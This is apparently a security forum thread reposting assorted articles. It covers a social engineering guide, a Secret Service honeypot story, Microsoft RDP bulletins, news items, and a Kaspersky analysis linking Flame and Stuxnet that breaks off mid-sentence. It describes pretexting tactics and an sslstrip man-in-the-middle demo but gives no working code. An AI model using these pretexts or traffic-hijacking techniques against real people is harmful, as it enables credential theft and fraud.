Nytro

The Ultimate Guide to Social Engineering From CSO Magazine and CSOonline.com Contents I. Definition What is social engineering? What social engineers want How social engineers work II. Basic Tactics Why people fall for social engineering and other scams III. Prevention IV. Social Engineers in Action “Pickup lines” commonly used Lots of true stories and examples I. Definition What is Social Engineering? Social engineering is the art of gaining access to buildings, systems or data by exploiting human psychology, rather than by breaking in or using technical hacking techniques. For example, instead of trying to find a software vulnerability, a social engineer might call an employee and pose as an IT support person, trying to trick the employee into divulging his password. The goal is always to gain the trust of one or more of your employees. Famous hacker Kevin Mitnick helped popularize the term “social engineering” in the ‘90s, but the simple idea itself (tricking someone into doing something or divulging sensitive information) has been around for ages. What Social Engineers Want The goal for many social engineers is to obtain personal information that can either directly lead them to financial or identity theft or prepare them for a more targeted attack. They also look for ways to install malware that gives them better access to personal data, computer systems or accounts, themselves. In other cases, social engineers are looking for information that leads to competitive advantage. Items that scammers find valuable include the following: NN Passwords NNAccount numbers NNKeys NNAny personal information NNAccess cards and identity badges NN Phone lists NNDetails of your computer system NNThe name of someone with access privileges NN Information about servers, networks, non-public URLs, intranet Download: http://assets.csoonline.com/documents/cache/pdfs/Social-Engineering-Ultimate-Guide.pdf

[h=1]Secret Service laced honeypot with seduction to catch hackers[/h]Ba, cititi... By Darlene Storm June 11, 2012 1:37 PM EDT The Ultimate Guide to Social Engineering [PDF] states “social engineers offer free gifts of favors” counting on the fact that reciprocation is a human impulse. An example is to give a “plate of cookies,” but what if the bait goodies were more along the lines of a plate of nookie? We don’t often hear too much about U.S. Secret Service cyber investigations, but since its beginning in 1865 the USSS mission had to evolve from “its original counterfeit currency investigations to also include emerging financial crimes.” The 2011 Verizon Data Breach Investigation Report [PDF] included data from 257 Secret Service cybercrime investigations. In fact, the agency is extremely good at getting the job done and frequently investigates electronic crime, data theft and security breaches. But what if hacking the hacker was less high-tech, less about following a cyber-trail, and more about good old-fashion seduction to find a chink in the cybercrook’s armor? USSS social engineering using sex as bait helped lure Romanian hackers to America where two men were immediately arrested upon their entry to the United States. Last December in a multimillion-dollar scheme, four Romanian hackers were charged with hacking point-of-sale (POS) systems which targeted more than 200 U.S. merchants including 150 Subway restaurants. The indictment said they remotely scanned for vulnerabilities in POS computer systems, guessed or used password-cracking programs, installed keystroke loggers and backdoor Trojans before stealing the credit card data of 80,000 U.S. customers. The Romanian hackers “used public filesharing services to transfer credit card data to fraud-minded customers.” They were charged “with conspiracy to commit computer fraud, wire fraud and access device fraud.” Adrian-Tiberiu Oprea was arrested in and extradited from Romania, but that left the Secret Service with figuring out how to nab Iulian Dolan, Cezar Iulian Butu and Florin Radu. CTOvision reported the Secret Service successfully lured Dolan and Butu into the United States by using one of the oldest tricks in the book, by “using a female agent as a honeypot. In espionage, a honeypot refers to an agent or plan that uses seduction as bait for entrapment, and is one of the oldest and most successful tricks in tradecraft.” It took social engineering and a woman’s wiles to bring down the 27 year-old Dolan. A female Secret Service agent pretended to be working at a resort and casino. She and Dolan developed a “rapport” before offering Dolan a free flight and a complimentary weekend of casino “fun.” The USSS and the casino had “set up a dedicated line for the female ‘employee’ and gave her an email with the casino’s domain name,” Krebs on Security reported. When Dolan checked it out, even the airline ticket had been purchased by the casino. It seemed legit and Dolan took the bait, hook, line and sinker. Brian Krebs spoke with Michael Shklar who is the public defender appointed as Dolan’s attorney. “U.S. Secret Service agents tricked his client into voluntarily visiting the United States by posing as representatives from a local resort and casino that was offering him a complimentary weekend getaway.” Shklar added, Dolan “arrived in the U.S. with some clothes, a cheap necklace, a little bit of money, and three very large boxes of grape-flavored Romanian condoms.” He was arrested upon his arrival to Logan International Airport. The USSS used a different targeted honeypot to catch the 26 year-old Butu. It started by subpoenaing Yahoo!, GoDaddy and other communications providers to study Butu’s emails. Then USSS investigators posed “as an attractive female tourist” who Butu had previously met in France. Alex Olesker reported, “Despite their in-depth information, the USSS didn’t need to make their story particularly believable for it to work, claiming to be an independently wealthy Hooters waitress working at the restaurant chain for the health insurance and a love of people. That was enough to get him to fly to Boston to meet her, where he was arrested on the spot.” Attorney Shklar told Brian Krebs, Butu “gets off the plane and they nab him and the handcuffs don’t even have fur on them.” As CTOvision pointed out, a lot can be accomplished using hackers and honeypots. “As the FBI’s veteran cyber cops have noted, that’s how you get things done. Investigating cybercrime is rarely a pure battle of wits between white hat and black hat hackers.” Arresting the Romanian hackers required neither “advanced technical expertise or capable and willing international partners.” Radu remains at large, but might also fall prey to a social engineer using a sexual undertone. Social engineering is lethal to corporations and individuals as has been proven time and again, such as when security specialist Thomas Ryan created the fictional American cyber threat analyst Robin Sage. By setting up social networking profiles, claiming to be from MIT, and using photos from porn sites, the fake Sage was able to dupe security, military and intelligence people. Ryan compiled his research and then presented “Getting into bed with Robin Sage” [PDF] at BlackHat USA. Women are thought to be better social engineers than men; it will be put to the test this year with Battle of the SExes. The stakes are different than what the USSS was out to achieve. It’s highly doubtful that either male or female social engineers will dangle nookie as bait at Defcon. Sursa: Secret Service laced honeypot with seduction to catch hackers | Computerworld Blogs

[h=1]POSIX Threads Programming[/h]Author: Blaise Barney, Lawrence Livermore National Laboratory [h=2]Table of Contents[/h] [LIST=1] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Abstract"]Abstract[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Overview"]Pthreads Overview[/URL] [LIST=1] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Thread"]What is a Thread?[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Pthread"]What are Pthreads?[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#WhyPthreads"]Why Pthreads?[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Designing"]Designing Threaded Programs[/URL] [/LIST] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#PthreadsAPI"]The Pthreads API[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Compiling"]Compiling Threaded Programs[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Management"]Thread Management[/URL] [LIST=1] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#CreatingThreads"]Creating and Terminating Threads[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#PassingArguments"]Passing Arguments to Threads[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Joining"]Joining and Detaching Threads[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Stack"]Stack Management[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Misc"]Miscellaneous Routines[/URL] [/LIST] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Mutexes"]Mutex Variables[/URL] [LIST=1] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#MutexOverview"]Mutex Variables Overview[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#MutexCreation"]Creating and Destroying Mutexes[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#MutexLocking"]Locking and Unlocking Mutexes[/URL] [/LIST] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#ConditionVariables"]Condition Variables[/URL] [LIST=1] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#ConVarOverview"]Condition Variables Overview[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#ConVarCreation"]Creating and Destroying Condition Variables[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#ConVarSignal"]Waiting and Signaling on Condition Variables[/URL] [/LIST] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#LLNL"]LLNL Specific Information and Recommendations[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#NotCovered"]Topics Not Covered[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#Routines"]Pthread Library Routines Reference[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/#References"]References and More Information[/URL] [*][URL="https://computing.llnl.gov/tutorials/pthreads/exercise.html"]Exercise[/URL] [/LIST] Link: https://computing.llnl.gov/tutorials/pthreads/

Da, se poate: http://technet.microsoft.com/en-us/security/bulletin/ms12-020 "V2.0 (June 12, 2012): Bulletin rereleased to reoffer security update KB2667402 on all supported editions of Windows 7 and Windows Server 2008 R2. Customers using Windows 7 or Windows Server 2008 R2, including those who have already successfully installed the update originally offered on March 13, 2012, should install the reoffered update. See the Update FAQ for details."

[h=1]Microsoft Security Bulletin MS12-036 - Critical[/h] [h=2]Vulnerability in Remote Desktop Could Allow Remote Code Execution (2685939)[/h] Published: Tuesday, June 12, 2012 Version: 1.0 [h=3]General Information[/h][h=4]Executive Summary[/h]This security update resolves a privately reported vulnerability in the Remote Desktop Protocol. The vulnerability could allow remote code execution if an attacker sends a sequence of specially crafted RDP packets to an affected system. By default, the Remote Desktop Protocol (RDP) is not enabled on any Windows operating system. Systems that do not have RDP enabled are not at risk. This security update is rated Critical for all supported editions of Windows Server 2003 and Windows Server 2008; Critical for Windows 7 for 32-bit Systems Service Pack 1 and Windows 7 for x64-based Systems Service Pack 1; and Critical for all supported editions of Windows Server 2008 R2. The security update is also rated Moderate for all supported editions of Windows XP and Windows Vista, and Moderate for Windows 7 for 32-bit Systems and Windows 7 for x64-based Systems. For more information, see the subsection, Affected and Non-Affected Software, in this section. The security update addresses the vulnerability by modifying the way that the Remote Desktop Protocol processes packets in memory. For more information about the vulnerability, see the Frequently Asked Questions (FAQ) subsection for the specific vulnerability entry under the next section, Vulnerability Information. Recommendation. The majority of customers have automatic updating enabled and will not need to take any action because this security update will be downloaded and installed automatically. Customers who have not enabled automatic updating need to check for updates and install this update manually. For information about specific configuration options in automatic updating, see Microsoft Knowledge Base Article 294871. For administrators and enterprise installations, or end users who want to install this security update manually, Microsoft recommends that customers apply the update immediately using update management software, or by checking for updates using the Microsoft Update service. See also the section, Detection and Deployment Tools and Guidance, later in this bulletin. Known Issues. None Top of section[h=4]Affected and Non-Affected Software[/h]The following software have been tested to determine which versions or editions are affected. Other versions or editions are either past their support life cycle or are not affected. To determine the support life cycle for your software version or edition, visit Microsoft Support Lifecycle. Affected Software [TABLE=class: dataTable, width: 87%] [TR] [TH]Operating System[/TH] [TH]Maximum Security Impact[/TH] [TH]Aggregate Severity Rating[/TH] [TH]Bulletins Replaced by this Update[/TH] [/TR] [TR] [TD]Windows XP Service Pack 3 (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]KB2570222 in MS11-065 and KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR=class: alternateRow] [TD]Windows XP Professional x64 Edition Service Pack 2 (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]KB2570222 in MS11-065 and KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR] [TD]Windows Server 2003 Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]KB2570222 in MS11-065 and KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2003 x64 Edition Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]KB2570222 in MS11-065 and KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR] [TD]Windows Server 2003 with SP2 for Itanium-based Systems (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]KB2570222 in MS11-065 and KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Vista Service Pack 2 (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows Vista x64 Edition Service Pack 2 (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 for 32-bit Systems Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows Server 2008 for x64-based Systems Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 for Itanium-based Systems Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]KB2621440 in MS12-020 replaced by KB2685939[/TD] [/TR] [TR] [TD]Windows 7 for 32-bit Systems (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows 7 for 32-bit Systems Service Pack 1 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows 7 for x64-based Systems (KB2685939)[/TD] [TD]Denial of Service[/TD] [TD]Moderate[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows 7 for x64-based Systems Service Pack 1 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows Server 2008 R2 for x64-based Systems (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 R2 for x64-based Systems Service Pack 1 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows Server 2008 R2 for Itanium-based Systems (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 R2 for Itanium-based Systems Service Pack 1 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TH=colspan: 4]Server Core installation option[/TH] [/TR] [TR] [TD]Windows Server 2008 for 32-bit Systems Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 for x64-based Systems Service Pack 2 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR] [TD]Windows Server 2008 R2 for x64-based Systems (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [TR=class: alternateRow] [TD]Windows Server 2008 R2 for x64-based Systems Service Pack 1 (KB2685939)[/TD] [TD]Remote Code Execution[/TD] [TD]Critical[/TD] [TD]None[/TD] [/TR] [/TABLE] Top of section[h=4]Frequently Asked Questions (FAQ) Related to This Security Update[/h][h=3]Vulnerability Information[/h][h=4]Severity Ratings and Vulnerability Identifiers[/h][h=4]Remote Desktop Protocol Vulnerability - CVE-2012-0173[/h][h=3]Update Information[/h][h=4]Detection and Deployment Tools and Guidance[/h][h=4]Security Update Deployment[/h][h=3]Other Information[/h][h=4]Microsoft Active Protections Program (MAPP)[/h]To improve security protections for customers, Microsoft provides vulnerability information to major security software providers in advance of each monthly security update release. Security software providers can then use this vulnerability information to provide updated protections to customers via their security software or devices, such as antivirus, network-based intrusion detection systems, or host-based intrusion prevention systems. To determine whether active protections are available from security software providers, please visit the active protections websites provided by program partners, listed in Microsoft Active Protections Program (MAPP) Partners. Top of section[h=4]Support[/h]How to obtain help and support for this security update Help installing updates: Support for Microsoft Update Security solutions for IT professionals: TechNet Security Troubleshooting and Support Help protect your computer that is running Windows from viruses and malware: Virus Solution and Security Center Local support according to your country: International Support Top of section[h=4]Disclaimer[/h]The information provided in the Microsoft Knowledge Base is provided "as is" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Top of section[h=4]Revisions[/h] V1.0 (June 12): Bulletin published. Sursa: Microsoft Security Bulletin MS12-036 - Critical : Vulnerability in Remote Desktop Could Allow Remote Code Execution (2685939)

[h=1]Iran Fingers US Hackers in Oil Ministry Attacks[/h]uesday, June 12, 2012 Contributed By: Headlines Iranian officials believe they have traced the origins of a cyber attack in April that targeted systems maintained by the nation's Oil Ministry to the United States. "Two American IPs were identified in the (cyber) attack against the oil ministry," said General Seyed Kamal Hadianfar, Head of Information Production and Exchange Department of the Law Enforcement Police. The attacks, though serious in nature, proved unsuccessful according to Iranian government sources. The incident is being instigated by Interpol, and the Iranian foreign ministry is demanding the U.S. provide the identities related to the two IP addresses. "The nature of the attack and the identity of the attackers have been discovered, but we cannot publicize it since we are still working on the case," said Deputy Oil Minister Hamdollah Mohammadnejad. Despite the Iranian's level of confidence based on the IP addresses, most security experts point out the difficulty involved in accurate attribution. Proxies, routing tricks, compromised machines, and spoofed IP addresses can be easily coordinated to give the appearance that an attack is originating far from the actual source. In most cases, it is nearly impossible to clearly determine the origin of an attack, and even more difficult to ascertain if the event was state-sponsored or instigated by individual actors. Iranian officials believe the attacks were designed to do more than disrupt operations, and that the attackers intended to fully infiltrate the Ministry's databases. "In general, the attack was carried out by virus penetration and was aimed at stealing and destroying data and information... those who design and develop such viruses are pursuing specific goals," Mohammadnejad said. Iranian officials maintain that the attacks posed no long term threat to the nation's security and ability to administer production systems. "At the time being the computer systems are running with a high level of safety and users are working normally... Whether essential or non-essential, the oil ministry's data have a back up," said Iranian Oil Ministry's Spokesman Alireza Nikzad-Rahbar. Source: Fars News Agency :: Oil Ministry Hackers Traced Back to US Sursa: Iran Fingers US Hackers in Oil Ministry Attacks

[h=1]Noul dispozitiv pe care îl folose?te Google pentru a face harta lumii[/h]Postat la: 12.06.2012 18:01 Ultima actualizare: 12.06.2012 18:06 n ciuda avioanelor ?i camionetelor pe care le plimb? peste tot în lume, pentru a capta imagini, exist? înc? locuri în care Google nu a putut ajunge. Acum, cu noua arm? din dotare, gigantul IT va putea cartografia totul, de la un col? de jungl? la cea mai mic? alee dintr-un ora?, relateaz? Daily Mail. Este vorba despre o camer? montat? într-un rucsac, care poate fi c?rat? de orice c?l?tor, având posibilitatea s? ajung? în locurile unde vehiculele motorizate ale Google nu au putut ajunge. Dispozitivul este varianta mult mai portabil? a controversatelor camere Street View. Criticii sus?in c? dreptul la via?? privat? este înc?lcat de Google, aflat în concuren?? cu Apple. Cei doi gigan?i IT se întrec pentru a realiza h?r?i tridimensionale ?i folosesc avioane ?i ma?ini pentru a fotografia str?zi ?i case. Rucsacul care cânt?re?te 18 kilograme are mai multe camere de 15 megapixeli, un hard disk incorporat ?i o baterie care dureaz? o zi întreag?. Camerele sunt pozi?ionate astfel încât s? capteze la 360 de grade, acoperind orice unghi posibil. Sursa: Noul dispozitiv pe care îl folose?te Google pentru a face harta lumii - Gandul

[h=1]Traian Basescu a promulgat asa numita 'lege Big Brother' care prevede stocarea pentru sase luni a datelor de trafic ale tuturor utilizatorilor de telefonie si internet[/h]De Adrian Vasilache | hotnews.ro – 5 ore în urm? Presedintele Traian Basescu a semnat marti, 12 iunie, decretul pentru promulgarea Legii privind retinerea datelor de trafic (nu si a continutului) ale tuturor utilizatorilor de telefonie si internet, cunoscuta ca legea ''Big Brother''. O lege similara, adoptata in Romania in anul 2008, a fost declarata neconstitutionala un an mai tarziu, pe motive de incalcare a dreptului la viata privata. Noua lege prevede obligativitatea furnizorilor de telefonie fixa si mobila si de internet sa retina anumite date ale abonatilor care sa fie trimise, la cerere, autoritatilor din domeniul sigurantei nationale pentru actiunile de prevenire, cercetare, descoperire si urmarire a infractiunilor grave. Ce date ar trebui retinute de operatori pentru 6 luni de zile Documentul legislativ prevede ca furnizorii telecom sa retina si sa pastreze pe cheltuiala proprie timp de sase luni datele de identificare a sursei, a destinatiei, cele necesare pentru determinarea datei, orei si a duratei comunicarii, cele pentru identificarea tipului de comunicare, cele pentru identificarea echipamentului de comunicatie al utilizatorului si pentru identificarea locatiei echipamentului de comunicatii mobile. Nu trebuie retinut continutul convorbirilor. Datele necesare pentru urmarirea si identificarea sursei unei comunicari cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: numarul de telefon apelant, precum si numele si adresa abonatului sau ale utilizatorului inregistrat; in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. identificatorul alocat; 2. identificatorul de utilizator si numarul de telefon alocat pentru efectuarea oricarei comunicari prin reteaua publica de telefonie; 3. numele si adresa abonatului sau ale utilizatorului inregistrat, caruia i s-a alocat o adresa Internet Protocol, denumita in continuare adresa IP, un identificator de utilizator sau un numar de telefon, la momentul comunicarii. Datele necesare pentru identificarea destinatiei unei comunicari cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: 1. numarul format sau apelat si, in cazurile care includ servicii suplimentare precum redirectionarea sau transferul apelului, numarul catre care este directionat apelul 2. numele si adresa abonatului ori ale utilizatorului inregistrat; in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. identificatorul utilizatorului sau numarul de telefon al destinatarului unui apel telefonic prin internet; 2. numele si adresa abonatului sau ale utilizatorului inregistrat si identificatorul utilizatorului destinatar al comunicarii. Datele necesare pentru determinarea datei, orei si a duratei comunicarii cuprind: a) in cazul retelelor de telefonie fixa si de telefonie mobila: data si ora initierii si incheierii unei comunicari: in cazul serviciilor de acces la internet, posta electronica si telefonie prin internet: 1. data si ora conectarii si deconectarii de la serviciul de acces la Internet, adresa IP alocata dinamic sau static unei comunicari de furnizorul de servicii de acces la internet, precum si identificatorul abonatului sau al utilizatorului inregistrat; 2. data si ora conectarii si deconectarii de la serviciul de posta electronica sau de telefonie prin Internet. Mai multe gasiti in documentul atasat. Legea Big Brother: Intre incalcarea dreptului la viata privata si posibile sanctiuni de la Bruxelles Adoptarea acestei legi a fost motivata de autoritati de nevoia de a implementa in legislatia nationala a prevederilor Directivei Uniunii Europene privind retinerea datelor generate sau procesate in cadrul activitatii de furnizare de servicii de comunicatii electronice destinate publicului sau de retele publice de comunicatii. Ministrul Afacerilor Europene, Leonard Orban, avertiza la inceputul lunii mai din acest an ca Romania risca sa plateasca Comisiei Europene penalizari de peste 30.000 de euro pentru fiecare zi de intarziere in adoptarea legii retinerii datelor de comunicatii. Pe de alta parte trebuie amintit faptul ca o lege similara, adoptata in Romania in anul 2008, a fost declarata neconstitutionala un an mai tarziu, pe motive de incalcare a dreptului la viata privata. In luna februarie din acest an, mai multe ONG-uri si asociatii au avertizat ca noua propunere legislativa nu doar ca nu rezolva problemele de neconstitutionalitate, ci chiar este o varianta mai periculoasa pentru drepturile cetatenilor, cu o procedura vaga si neclara de acces la date. Sursa: Traian Basescu a promulgat asa numita 'lege Big Brother' care prevede stocarea pentru sase luni a datelor de trafic ale tuturor utilizatorilor de telefonie si internet - Yahoo! ?tiri România

Comunitatea informatica comemoreaza disparitia lui Mihai Patrascu, romanul care a obtinut cele mai multe premii la olimpiadele internationale de MVA HotNews.ro Mar?i, 12 iunie 2012, 16:18 Actualitate | Esen?ial Mihai Patrascu Foto: AT&T ? ?Mihai Patrascu este considerat a fi cel mai bun exponent al scolii informatice romanesti din ultimul deceniu. A fost absolvent al MIT (Massachusetts Institute of Technology), lucrarea sa de doctorat obtinand premiul prestigioasei universitati americane pentru cea mai buna teza. Mihai Patrascu a castigat patru medalii de aur si trei de argint la olimpiadele internationale de informatica, fiind situat in primii 20 de medaliati din lume. Din 2009 a lucrat in cadrul echipei de cercetare a laboratoarelor AT&T din SUA. In urma cu un an a fost diagnosticat cu cancer si a murit la 29 de ani, pe 5 iunie 2012. Mihai Patrascu s-a nascut la Craiova si a castigat premiul intai la noua olimpiade nationale de informatica. A fost ales membru al Comitetului Stiintific al Olimpiadei Internationale de Informatica si, in 2012, a castigat premiul Presburger pentru "revolutionarea domeniului de structuri de date in care nu se mai inregistrasera progrese in ultimul deceniu", acordat de Asociatia Europeana de Informatica Teoretica. Intr-un interviu pentru metropotam.ro, Mihai Patrascu a explicat cercetarile pe care le dezvolta la MIT: "O structura de date inseamna o baza de date care sta si e pregatita sa raspunda la intrebari. Spre exemplu, Google este o structura de date imensa care sta si asteapta intrebari despre Web. Acum, intrebarea este cat de multa memorie ocupa structura de date si cat de rapid raspunde la intrebari. Scopul in informatica teoretica este sa gasim raspunsul optim la cat de eficienta poate fi structura de date." Patrascu este unul dintre cei mai apreciati cercetatori tineri la nivel international in informatica teoretica. Mihai Patrascu a primit premiul pentru cel mai bun student in cercetare in SUA si Canada (2005) si este citat de 480 de ori in Google Scholar Citations. Inmormantarea a avut loc marti, la Craiova. Comunitatea informatica din Romania a organizat un concurs Remember Mihai Patrascu (prin Infoarena) "ca semn de adanca recunostinta pentru impactul enorm pe care Mihai l-a avut in cadrul comunitatii de olimpici in informatica". Mai multe despre cariera lui Mihai Patrascu puteti afla aici. Sursa: Comunitatea informatica comemoreaza disparitia lui Mihai Patrascu, romanul care a obtinut cele mai multe premii la olimpiadele internationale - Esential - HotNews.ro

[h=4]Stuxnet Using This 0Day Ms10-046[/h] Description: Stuxnet using this 0day MS10-046 Sursa: Stuxnet Using This 0Day Ms10-046

[h=4]Creating Fake Https Pages With Sslstrip And Mitm[/h] Description: sslstrip is used to hijack HTTP traffic on a network, watch for HTTPS links and redirects, then map those links into either look-alike HTTP links or homograph-similar HTTPS links. It also supports modes for supplying a favicon which looks like a lock icon, selective logging, and session denial. For more information on the attack, see the video from the presentation below. this video is simple demo of creating fake https page with this tool. Sursa: Creating Fake Https Pages With Sslstrip And Mitm

[h=1]Back to Stuxnet: the missing link[/h] Aleks Kaspersky Lab Expert Posted June 11, 13:30 GMT Tags: Flame, Cyber weapon, Cyber espionage, Vulnerabilities and exploits, Stuxnet Two weeks ago, when we announced the discovery of the Flame malware we said that we saw no strong similarity between its code and programming style with that of the Tilded platform which Stuxnet and Duqu are based on. Flame and Tilded are completely different projects based on different architectures and each with their own distinct characteristics. For instance, Flame never uses system drivers, while Stuxnet and Duqu’s main method of loading modules for execution is via a kernel driver. But it turns out we were wrong. Wrong, in that we believed Flame and Stuxnet were two unrelated projects. Our research unearthed some previously unknown facts that completely transform the current view of how Stuxnet was created and its link with Flame. The Flame inside Stuxnet First of all, let’s recap the Stuxnet story. We managed to recover just three different variants of the worm, created in June 2009, and in March and April 2010. The March 2010 variant was responsible for the greatest number of infections and was detected in June 2010 by specialists from the company VirusBlokAda in Belarus. This particular version was subjected to the most detailed analysis by anti-malware companies. Shortly afterwards, when news of Stuxnet had already become widespread, files related to its June 2009 incarnation were detected. This version, the so-called Stuxnet.A (1.0), differed considerably from the 2010 variants. The main differences were: The 2009 variant didn’t use the MS10-046 LNK file vulnerability In 2009, Stuxnet only had one driver file; in 2010 there were two (the second was added specifically to work with the LNK vulnerability) In 2009, Stuxnet used a special trick with the “autorun.inf” file to infect USB drives. All the other differences involve minor modifications to Stuxnet’s internal structure – some modules were deleted and their functions transferred to other modules. The most significant of those changes involved “resource 207”. Resource “207” is 520,192 bytes in size and can be found in the 2009 version of Stuxnet. It was later dropped altogether in the 2010 version, its code merged into other modules. List of resources in the March 2010 variant of Stuxnet List of resources in the 2009 variant of Stuxnet Despite the fact that Stuxnet has been the subject of in-depth analysis by numerous companies and experts and lots has been written about its structure, for some reason, the mysterious “resource 207” from 2009 has gone largely unnoticed. But it turns out that this is the missing link between Flame and Stuxnet, two seemingly completely unrelated projects. The Tocy story In October 2010, our automatic system received a sample from the wild. It analyzed the file thoroughly and classified it as a new Stuxnet variant, Worm.Win32.Stuxnet.s. With Stuxnet being such a big thing, we looked at the sample to see what it was! Sadly, it didn’t look like Stuxnet at all, it was quite different. So we decided to rename it to Tocy.a and thought “silly automatic systems!”. When Flame was discovered in 2012, we started looking for older samples that we might have received. Between samples that looked almost identical to Flame, we found Tocy.a. Going through the sample processing system logs, we noticed it was originally classified as Stuxnet. We thought, how was it possible? Why did the system think that this Flame sample was related to Stuxnet? Checking the logs, we discovered that the Tocy.a, an early module of Flame, was actually similar to “resource 207” from Stuxnet. It was actually so similar, that it made our automatic system classify it as Stuxnet. Practically, Tocy.a was similar to Stuxnet alone and to no other sample from our collection. Going back to the story, this is how we discovered the incredible link between Flame and Stuxnet. Resource 207 Resource 207 is an encrypted DLL file that contains another PE file inside (351,768 bytes). Information about the date of the module’s creation Information about the file in the resource 207 This PE file, 351,768 bytes in size, is actually a Flame plugin. Or, to be more precise, "proto-Flame" – a module that obviously has a lot in common with the current version of “mssecmgr.ocx” and which had evolved into Flame by 2012. We think it’s actually possible to talk about a ‘Flame’ platform, and that this particular module was created based on its source code. A few days ago on Twitter I saw a rather humorous tweet that said Flame was so “hardcore” that a whole Stuxnet was contained in its bases. It turns out that Stuxnet’s resources actually contain a Flame platform component! The correlations with the current variations of Flame include the following: Mutex names: TH_POOL_SHD_PQOMGMN_%dSYNCMTX and TH_POOL_SHD_MTX_GMN94XQ_%d String decryption algorithm Mangled class names: ?AVnxys_uwip and so on. Similar name to that used in the Flame architecture - with .ocx files (atmpsvcn.ocx) Moreover, the file contains hallmarks that were earlier considered exclusive to Stuxnet: Names of “trigger” files: %temp%\dat3A.tmp & snsm7551.tmp Utilitarian module parsing functions and their interrelation and architecture Principles for assembling function return codes Similar shellcode style Structure for describing the version of vulnerable operating systems and checking algorithm Its own import This is atmpsvcn.ocx – a Flame platform module inside Stuxnet. Interestingly, the current variants of Flame rely on the dat3C.tmp file, whereas the Flame module inside Stuxnet used the “dat3a.tmp” file as an identifier to flag its presence in the system. One can wonder if there was also a “dat3b.tmp” somewhere in time. Whole pieces of code from the latest Flame modules are identical to the code in atmpvsvcn.ocx. Of course, the most obvious similarity is the mutex names: 